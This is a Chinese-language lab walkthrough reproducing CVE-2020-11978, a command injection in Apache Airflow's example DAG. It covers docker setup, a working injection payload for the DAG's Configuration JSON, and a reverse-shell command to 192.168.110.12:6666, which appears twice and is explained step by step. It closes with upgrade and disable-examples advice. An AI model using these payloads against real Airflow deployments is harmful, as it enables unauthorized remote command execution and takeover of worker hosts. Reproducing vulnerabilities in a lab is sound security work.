Apache Airflow 示例dag中的命令注入(CVE-2020-11978)
before hack
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。
由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。
在Configuration JSON
中输入需要执行的命令:
{"message":"'\";你的命令;#"}
我直接就是一个反弹shell
{"message":"'\";sh -i >& /dev/tcp/192.168.110.12/6666 0>&1;#"}
hack it
依次执行如下命令启动airflow 1.10.10:
#初始化数据库
docker compose run airflow-init
#启动服务
docker compose up -d
访问http://your-ip:8080
进入airflow管理
端,将example_trigger_target_dag
前面的Off改为On:
再点击执行按钮,在Configuration JSON中输入:{"message":"'\";touch /tmp/airflow_dag_success;#"}
,再点Trigger
执行dag:
等一会可以发现执行成功。
到CeleryWorker容器中进行查看:
docker compose exec airflow-worker ls -l /tmp
发现执行成功。
在Configuration JSON
中输入需要执行的命令:
{"message":"'\";你的命令;#"}
我直接就是一个反弹shell
{"message":"'\";sh -i >& /dev/tcp/192.168.110.12/6666 0>&1;#"}
sh -i
:启动一个交互式的 shell。
>& /dev/tcp/192.168.110.12/6666
:将 shell 的标准输出和标准错误输出重定向到指定的 IP 地址和端口号上的远程主机。
0>&1
:将 shell 的标准输入重定向到标准输出,即将远程主机的输入流作为 shell 的输入流。
;#
:注释符号,确保在执行完命令后不会出现错误。
反弹shell也执行成功!
修复建议
升级至1.10.10版本以上,删除或禁用默认DAG(删除或在配置文件中禁用默认DAGload_examples=False)